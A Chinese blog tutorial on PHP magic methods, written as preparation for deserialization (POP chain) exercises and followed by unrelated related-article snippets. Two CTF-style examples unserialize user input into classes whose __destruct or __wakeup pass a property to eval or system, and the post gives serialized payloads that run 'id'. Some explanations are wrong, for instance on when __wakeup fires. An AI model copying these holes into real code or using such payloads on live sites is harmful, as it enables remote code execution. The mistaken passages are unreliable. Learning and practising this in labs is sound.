一篇文章带你入门PHP魔术方法
PHP魔术方法
PHP 中的"魔术方法"是一组特殊的方法,它们在特定情况下自动被调用。这些方法的名称都是以两个下划线(__
)开头。魔术方法提供了一种方式来执行各种高级编程技巧,使得对象的行为可以更加灵活和强大。以下是一些常见的PHP魔术方法:
__construct()
: 构造函数,当一个新对象被创建时调用。__destruct()
: 析构函数,当一个对象不再被使用时调用。__call($name, $arguments)
: 当调用一个对象中不存在的方法时调用。__callStatic($name, $arguments)
: 当调用一个静态方法不存在时调用。__get($name)
: 当读取一个不可访问的属性时调用。__set($name, $value)
: 当设置一个不可访问的属性时调用。__isset($name)
: 当对不可访问的属性调用isset()
或empty()
时调用。__unset($name)
: 当对不可访问的属性调用unset()
时调用。__sleep()
: 在序列化对象之前调用,通常用于清理任务或返回数组中的哪些属性需要被序列化。__wakeup()
: 在反序列化对象时调用,通常用于重新建立数据库连接或执行其他初始化操作。__toString()
: 当对象被当作字符串使用时调用,例如在echo
语句中。__invoke()
: 当尝试将对象当作函数调用时执行。__set_state($array)
: 当调用var_export()
且返回的结果被执行时调用。__clone()
: 当对象被克隆时调用。
这些魔术方法提供了对对象生命周期中各种事件的控制,以及对对象行为的定制化。正确和恰当地使用这些方法可以使你的代码更加健壮和灵活
掌握PHP魔术方法分为触发时机--->功能--->参数-->返回值
最低要求:起码知道触发时机,不然对之后pop链的学习影响会很大
很感谢陈腾老师的教导!
接下来我会带领大家一一学习PHP魔术方法
接下来都会是代码加解释的形式和大家一起·学习,
1.——construct()
<?php
highlight_file
(
__FILE__
);
class
User
{
public
$username
;
public function
__construct
(
$username
) {
$this
->
username
=
$username
;
echo
"
触发了构造函数1次"
;
}
}
$test
= new
User
(
"benben"
);
$ser
=
serialize
(
$test
);
unserialize
(
$ser
);
?>
输出:触发了构造函数1次
这里是先定义一个类User,下面的public是全局变量的意思,这里提一下,如果使用的是private,那就是属于一个私有属性,也就是说你只能在User这个类里面使用,如果你在外面调用了它,肯定是不行的。接下来public function
__construct
(
$username
) {
$this
->
username
=
$username
;
echo
"
触发了构造函数1次"
;
}这里就是一个魔术方法,
换句话来说就是user这个类里面有username,和一个魔术方法,后面的代码就是调用user这个类里面的属性而已
搞懂了代码就好说了!$test
= new
User
(
"benben");这里是实例化对象,所以只会在这行代码触发,输出“
触发了构造函数1次”
这个__construct()魔术方法很简单
触发时机:实例化对象时会触发比如($test
= new
User
(
"benben"
);)这里就时实例化对象
功能就是:提前清理不必要的内容
参数:非必要
返回值:
2.__destruct()
在对象的所有的引用被删除或者当对象被显示销毁时执行的魔术方法
比如:<?php
highlight_file
(
__FILE__
);
class
User
{
public function
__destruct
()
{
echo
"
触发了析构函数1次"
.
"<br />"
;
}
}
$test
= new
User
(
"benben"
);
$ser
=
serialize
(
$test
);
unserialize
(
$ser
);
?>
触发了析构函数1次
触发了析构函数1次
__destruct()
触发时机:对象引用完成或对象被销毁;反序列化之后
功能:
参数:
返回值:
来到题目:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
var $cmd = "echo 'dazhuang666!!';" ;
public function __destruct()
{
eval ($this->cmd);
}
}
$ser = $_GET["benben"];
unserialize($ser);
拿到这道题目,就直接徒手构造就好了,benben=O:4:"User":1:{s:3:"cmd";s:13:"system('id');";}
首先是object:User对应的是四个字符,里面只有1个成员属性,最后的“;”不要忘记。
直接拿下,这里直接反序列化的时候就已经触发了——dstruct()
3._sleep()
触发时机:_slee[()先执行;序列化之后再执行,也就是序列化前调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
class
User
{
const
SITE
=
'uusama'
;
public
$username
;
public
$nickname
;
private
$password
;
public function
__construct
(
$username
,
$nickname
,
$password
) {
$this
->
username
=
$username
;
$this
->
nickname
=
$nickname
;
$this
->
password
=
$password
;
}
public function
__sleep
() {
return array(
'username'
,
'nickname'
);
}
}
$user
= new
User
(
'a'
,
'b'
,
'c'
);
echo
serialize
(
$user
);
?>
O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}
这串代码的意思是一个对象user,还有它的对应属性。
接下来直接_construct魔术方法,因为最下面new User会触发
这个魔术方法,但是后面的sleep遇到serialize又会触发魔术方法_sleep(),这里先触发——construct(),(在实例化前触发)并且把username,nickname,password,为别赋值a,b,c
这里本来应该输出的是三个参数的,但是后面的sleep又触发魔术方法,结果password就不输出
4._wakeup()
这个在做反序列化unserialize()之前触发
触发时机:这个在做反序列化unserialize()之前触发
功能:
参数:
返回值:返回void
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
const SITE = 'uusama';
public $username;
public $nickname;
private $password;
private $order;
public function __wakeup() {
system($this->username);
}
}
$user_ser = $_GET['benben'];
unserialize($user_ser);
?>
?benben=O:4:”User”:1:{s:8:”username”;s:2:”id”;}
这里构造1个就好,因为_wakeup()过后就只调用username,其他几个属性就没有必要写了
Ps:反序列化里面对字符串包裹就只能使用双引号,单引号不识别
5._tostring()
触发时机:把对象被当成字符串调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class
User
{
var
$benben
=
"this is test!!"
;
public function
__toString
()
{
return
'
格式不对,输出不了!'
;
}
}
$test
= new
User
() ;
print_r
(
$test
);
echo
"<br />"
;
echo
$test
;
?>
User Object ( [benben] => this is test!! )
格式不对,输出不了!(这个命令是 $test)所触发的
把类User实例化并且赋值给$test,此时的$test是个对象,调用对象可以使用print_
或者是var_dump
但是如果使用echo或者print只能调用字符串的方式去调用对象,即把对象当成字符串使用,此时自动触发tostring()
也就是说后面的echo $test直接当成字符串输出了,这里会触发魔术方法tostring()
6._invoke()
触发时机:把对象被当成函数调用
功能:
参数:
返回值:
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class
User
{
var
$benben
=
"this is test!!"
;
public function
__invoke
()
{
echo
'
它不是个函数!'
;
}
}
$test
= new
User
() ;
echo
$test
->
benben
;
echo
"<br />"
;
echo
$test
() ->
benben
;
?>
this is test!!
它不是个函数!
其实跟tostring差不多,就是(echo
$test
() ->
benben)
这里直接把它当成函数输出导致了魔术方法触发
7._call()
触发时机:调用了一个根本不存在的方法
功能:
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class
User
{
public function
__call
(
$arg1
,
$arg2
)
{
echo
"
$arg1
,
$arg2
[
0
]
"
;
}
}
$test
= new
User
() ;
$test
->
callxxx
(
'a'
);
?>
输出:callxxx,a
$test =new User()这句话是把new User()实例化成为一个对象给$test,接下来从test调用出来一个方法callxxx,并且给他传了个参数是a,但是这里根本没有callxxx,所以做不到,这里就触发了魔术方法
$arg1是方法,$arg2是参数
8._callstatic()
触发时机:静态调用或调用成员常量时使用
功能:
参数:2个参数$arg1,$arg2
返回值:调用的不存在的方法的名称和参数
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class
User
{
public function
__callStatic
(
$arg1
,
$arg2
)
{
echo
"
$arg1
,
$arg2
[
0
]
"
;
}
}
$test
= new
User
() ;
$test
::
callxxx
(
'a'
);
?>
callxxx,a
这里跟_call()差不多一样的,只不过这个是静态调用(比如$test
::
callxxx
(
'a'
);)时使用而已,不是静态调用就不会触发,你可以把::改一下,看看别的还会不会触发
9.__get()
触发时机:调用的成员属性不存在
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __get($arg1)
{
echo $arg1;
}
}
$test = new User() ;
$test ->var2;
?>
输出:
var2
这里其实就是少了一个参数var2,但是$test ->var2;这里却要输出var2,所以就会触发get()魔术方法,自动帮你添加一个var2上去
10._set()
触发时机:给不存在的成员属性赋值
功能:
参数:
返回值:不存在的成员属性的名称和赋的值
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
public $var1;
public function __set($arg1 ,$arg2)
{
echo $arg1.','.$arg2;
}
}
$test = new User() ;
$test ->var2=1;
?>
输出:
var2,1
11._isset()
对一个被保护的属性或者根本就不存在的属性,或者私有属性
触发时机:对不可访问属性使用isset()或empty()时,__isset()就会被调用
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file
(
__FILE__
);
error_reporting
(
0
);
class
User
{
private
$var
;
public function
__isset
(
$arg1
)
{
echo
$arg1
;
}
}
$test
= new
User
() ;
isset(
$test
->
var
);
?>
输出:
var
比如这段代码,因为这里的var只能在当前类中使用,因为这是一个私有属性,你出来后调用肯定不可以,这里一定会触发——isset()魔术方法,最终顺利输出var
12._unset()
触发时机:对不可访问属性使用__unset()时
功能:
参数:
返回值:不存在的成员属性的名称
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __unset($arg1 )
{
echo $arg1;
}
}
$test = new User() ;
unset($test->var);
?>
输出:
var
13._clone()
触发时机:使用clone关键字拷贝完成一个对象后,新对象会自动调用定义的魔术方法__clone()
就是说使用clone()克隆对象完成后,就会触发魔术方法__clone()
功能:
参数:
返回值:
<?php
highlight_file(__FILE__);
error_reporting(0);
class User {
private $var;
public function __clone( )
{
echo "__clone test";
}
}
$test = new User() ;
$newclass = clone($test)
?>
输出:
__clone test
真心希望我的文章能够让大家有所收获!
总结
相关文章:
一篇文章带你入门PHP魔术方法
PHP魔术方法 PHP 中的"魔术方法"是一组特殊的方法,它们在特定情况下自动被调用。这些方法的名称都是以两个下划线(__)开头。魔术方法提供了一种方式来执行各种高级编程技巧,使得对象的行为可以更加灵活和强大。以下是一…...
【数据库系统概论】第6章-关系数据库理论
真别看吧,抄ppt而已啊 文章目录 6.1 引言6.2 规范化6.2.1 函数依赖6.2.2 码6.2.3 范式(Normal Form)6.2.4 BC范式6.2.5 规范化小结 6.1 引言 我们有这样一张表: but 为啥这样设计呢?由此引出怎样设计一个关系数据库…...
算法设计与分析实验报告-贪心算法
校课程的简单实验报告。 算法设计与分析实验报告-递归与分治策略 算法设计与分析实验报告-动态规划算法 算法设计与分析实验报告-贪心算法 dijkstra迪杰斯特拉算法(邻接表法) 算法设计与分析实验报告-回溯法 算法设计与分析实验报告-分支限界法 …...
Unity读取服务器声音文件
Unity读取服务器声音文件 功能1.在网站的根目录放置一个声音文件Alarm01.wav(这个是window系统自带的找不到这个格式的可以直接在C盘搜索)2.在WebManager.cs脚本中添加clipPath、audio、m_downloadClip属性和DownloadSound()函数&…...
掌握ElasticSearch(一):Elasticsearch安装与配置、Kibana安装
文章目录 〇、简介1.Elasticsearch简介2.典型业务场景3.数据采集工具4.名词解释 一、安装1.使用docker(1)创建虚拟网络(2)Elasticsearch安装步骤 2.使用压缩包 二、配置1.目录介绍2.配置文件介绍3.elasticsearch.yml节点配置4.jvm.options堆配置 二、可视化工具Kibana1.介绍2.安…...
《剑指offer》Java版--13.机器人的运动范围(BFS)
剑指offer原题13:机器人的运动范围 地上有一个m行n列的方格。一个机器人从坐标(0,0)的格子开始移动,它每次可以向左、右、上、下移动一格,但不能进入行坐标和列坐标的数位之和大于k的格子。例如,当k为18时,机器人能够进入方格(35,37),因为353…...
基于流程挖掘的保险理赔优化策略实践
引言 在当今日益竞争的商业环境中,保险公司面临着日益增长的业务量和客户期望的挑战。特别是在理赔领域,理赔是保险行业的重要环节,也是保险公司和客户之间最直接的联系点。然而,长周期和繁琐的理赔流程常常给保险公司和投保人带来困扰。因此,如何提供准确且高效的理赔处…...
Docker五 | DockerFile
目录 DockerFile 常用保留字 FROM MAINTAINER RUN EXPOSE WORKDIR USER ENV VOLUME ADD COPY CMD ENTRYPOINT DockerFile案例 前期准备 编写DockerFile文件 运行DockerFile 运行镜像 DockerFile是用来构建Docker镜像的文本文件,是由一条条构建…...
2023年度总结:技术旅程的杨帆远航⛵
文章目录 职业规划与心灵成长 ❤️🔥我的最大收获与成长 💪新年Flag 🚩我的技术发展规划 ⌛对技术行业的深度思考 🤔祝愿 🌇 2023 年对我来说是一个充实而令人难以忘怀的一年。这一年,我在CSDN上发表了 1…...
SpringBoot+AOP+Redis 防止重复请求提交
本文项目基于以下教程的代码版本: https://javaxbfs.blog.csdn.net/article/details/135224261 代码仓库: springboot一些案例的整合_1: springboot一些案例的整合 1、实现步骤 2.引入依赖 我们需要redis、aop的依赖。 <dependency><groupId>org.spr…...
偷流量、端口占用、网络负载高、socket创建释放异常等Android高阶TCP/IP网络问题定位思路
一,背景 通常一些偷流量、端口占用、网络负载高、socket创建释放异常等Android网络相关问题,可以通过使用tcpdump抓tcp/ip报文,来定位。但是tcpdump无进程信息,也没有APK包名信息,无法确认异常的报文来自哪些Apk或者n…...
《人人都能用英语》学习笔记
https://github.com/xiaolai/everyone-can-use-english 核心: 用 What──它究竟是什么?Why──为什么它是那个样子?How──要掌握它、应用它,必须得遵循什么样的步骤? 在运行程序之前,要反复浏览代码&a…...
NFC与ZigBee技术在智慧农业物联网监测系统中的应用
近年来,我国农业物联网技术飞速发展,基于物联网技术的智能农业监测系统有望得到较大规模的推广应用。但传统的物联网农业监测系统其网络结构层次单一,多采用基于有线或无线结构的节点-上位机数据采集模式,节点数据访问模式缺乏灵活…...
k8s-cni网络 10
Flannel vxlan模式跨主机通信原理 在同一个节点上的pod 流量通过cni网桥可以直接进行转发; 在需要跨主机访问时,数据包通过flannel(隧道) 知道另一边的mac地址,就可以拿到另一边的ip地址,然后构建常规的以太网数据包,…...
听GPT 讲Rust源代码--src/tools(27)
File: rust/src/tools/clippy/clippy_lints/src/methods/suspicious_to_owned.rs 文件rust/src/tools/clippy/clippy_lints/src/methods/suspicious_to_owned.rs的作用是实施Clippy lint规则,检测产生潜在性能问题的字符转换代码,并给出相关建议。 在Rus…...
经济危机下,我们普通人如何翻身?2024创业新风口,适合普通人的创业项目
明年的商业环境会比今年更残酷,不是贩卖危机。旅游行业还在刺激性消费,再过几个月大家就没钱了,估计慢慢也消停。中小微企业资金链断裂,大部分公司倒闭,大批人失业,所以经济恢复需要一个周期。 30年河东&am…...
深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第五节 引用类型复制问题及用克隆接口ICloneable修复
深入浅出图解C#堆与栈 C# Heaping VS Stacking 第五节 引用类型复制问题及用克隆接口ICloneable修复 [深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第一节 理解堆与栈](https://mp.csdn.net/mdeditor/101021023)[深入浅出图解C#堆与栈 C# Heap(ing) VS Stack(ing) 第二节…...
python中基本元素的pop函数
python中基本元素的pop函数 一、列表List二、元组Tuple三、字典dict四、集合set 一、列表List pop() 根据索引删除并返回被删除的元素,索引默认为-1 a [1, 2, 3, 2, 5] b a.pop() # b5,默认返回最后一个值 print(b) b a.pop(2) # b3,返回a[2] pri…...
MPLS动态协议LDP配置示例
一、预习: MPLS是一种根据报文中携带的标签来转发数据的技术,两台LSR必须在它们之间转的数据 的标签使用上“达成共识”。LSR之间可以运行LDP来告知其他LSR本设备上的标签绑定信息,从而实现标签报文的正确转发。 LSR:Label Switch…...
JS调用栈:为何会栈溢出
JS调用栈:为何会栈溢出 JS调用栈什么是函数调用什么是栈在开发中利用调用栈栈溢出 JS调用栈 JavaScript 经常会出现一个函数中调用另外一个函数的情况,调用栈就是用来管理函数调用关系的一种数据结构,首先你要先弄明白函数调用和栈结构 什么…...
代码随想Day52 | 300.最长递增子序列、674. 最长连续递增序列、718. 最长重复子数组
300.最长递增子序列 这道题目的重点在于动态数组的定义 dp[i]:以nums[i]为结尾的最长递增子序列,因为这样定义可以进行递推; 递推:j从0-i进行对比,如果nums[i]大于nums[j],dp[i]dp[j]1; 初始化…...
使用 pytest 相关特性重构 appium_helloworld
一、前置说明 在 pytest 基础讲解 章节,介绍了 pytest 的特性和基本用法,现在我们可以使用 pytest 的一些机制,来重构 appium_helloworld 。 appium_helloworld 链接: 编写第一个APP自动化脚本 appium_helloworld ,将脚本跑起来 代码目录结构: pytest.ini 设置: [pyt…...
猪目标检测数据集VOC格式600张
猪是一种常见的哺乳动物,通常被人们认为是肉食动物,但实际上猪是杂食性动物,以植物性食物为主,也有偶尔食肉的习性。猪的体型较大,圆胖的体型和圆润的脸庞使其显得憨态可掬。它们主要通过嗅觉来感知周围环境࿰…...
Pandas中concat的用法
Pandas中concat的用法 pd.concat 是 pandas 库中的一个函数,用于将多个 pandas 对象(如 Series、DataFrame)沿指定轴进行合并连接。 pd.concat(objs, axis0, joinouter, ignore_indexFalse, keysNone, levelsNone, namesNone, verify_in…...
【C++】引用详解
前言 在学习C语言时,我们通常会遇到两个数交换的问题,为了实现这一功能,我们会编写一个经典的Swap函数,如下所示: void Swap(int *a, int *b) {int tmp *a;*a *b;*b tmp; } 然而,这个Swap函数看起来可…...
平时的一些思考内容
文章目录 阶乘位运算求概率 阶乘 阶乘是一很迷人的,刚开始的的变化还不是很大,到后面变化类似于直线上升的,不知道现实中哪些实例来表示阶乘。19的阶乘就已经超过了long了,在竞赛或者其他中要求2023或者很大数字的阶乘就需要考虑…...
AIGC时代下,结合ChatGPT谈谈儿童教育
引言 都2024年了,谈到儿童教育,各位有什么新奇的想法嘛 我觉得第一要务,要注重习惯养成,我觉得聊习惯养成这件事情范围有点太大了,我想把习惯归纳于底层逻辑,我们大家都知道,在中国式教育下&a…...
Java中的锁(一)
一、前言 在Java中,锁是用于多线程同步的重要概念。它可以保护共享资源,确保多个线程在访问共享资源时的数据一致性。 共享资源指的是多个线程同时对同一份资源进行访问 (读写操作),被多个线程访问的资源就称为共享资源。 如何保证多个线程访…...
CSS-SVG-环形进度条
线上代码地址 <div class"circular-progress-bar"><svg><circle class"circle-bg" /><circle class"circle-progress" style"stroke-dasharray: calc(2 * 3.1415 * var(--r) * (var(--percent) / 100)), 1000" …...
英语中修饰头发的形容词顺序是怎么样的(加补充)
一、英语描述发型 :漂亮长短形状颜色头发。 例如她有一头美丽的黑色的直发。She has beautiful long straight black hair.二、多个形容词修饰同一名词时的顺序是固定的,其顺序为:①冠词、指示代词、不定代词、物主代词②序数词基数词③一般性描绘形容词…...
江门模板建站系统/进入百度官网首页
1,进制前缀 默认是十进制,没有前缀 二进制 0b或者0B前缀 八进制 0前缀 十六进制 0x或者0X前缀 PS:C好像没有二进制,C语言很多地方也不认0b int a10,b010,c0x10,d0X10,e0b10,f0B10; printf("%d %d %d %d %d %d",a,…...
深圳建设项目环保网站办事指南/seow是什么意思
animation-delay属性用来定义动画开始播放的时间,用来触发动画播放的时间点。和transition-delay属性一样,用于定义在浏览器开始执行动画之前等待的时间。 语法规则: animation-delay:<time>[,<time>]* 案例演示: …...
黄石本土做网站的公司/网络舆情信息
原文地址为: Jenkins的Linux的Slave的配置作为slave的Linux机器为centos系统。 1) Linux 的 Slave机器设置 创建jenkins用户sudo /usr/sbin/useradd -m jenkins -d /home/jenkins; 查看jenkins用户及组的信息id jenkins : uid506…...
怎样把做的网站上传到github/网络营销师证
前言 这几天刚学了多源代码文件的编译,因为想尝试使用一下这种方法,所以想用此编写这次作业的程序。正好可以learning by doing,在做当中学习新知识。(编译器为Dev-C) github地址 git提交 [pdf的地址](http…...
什么是网站交互性/网站站内关键词优化
Docker Compose 多容器应用,更多关于docker的视频教程 Docker Compose是一个用来定义并运行复杂应用程序的工具。用Compose,你可以在一个文件中定义多个容器应用程序,然后只需一条命令就可以完成使其运行所需的所有操作。 一个使用Docker容…...
中英文网站模板源码/如何查看网站权重
60。成品产销存明细表的 "报废" 字段有何意义?60。成品产销存明细表的 "报废" 字段有何意义?根据税法的规定,企业的报废作业,必须通知税捐单位派员查看,报废一般只工厂生产过程中的不良品…...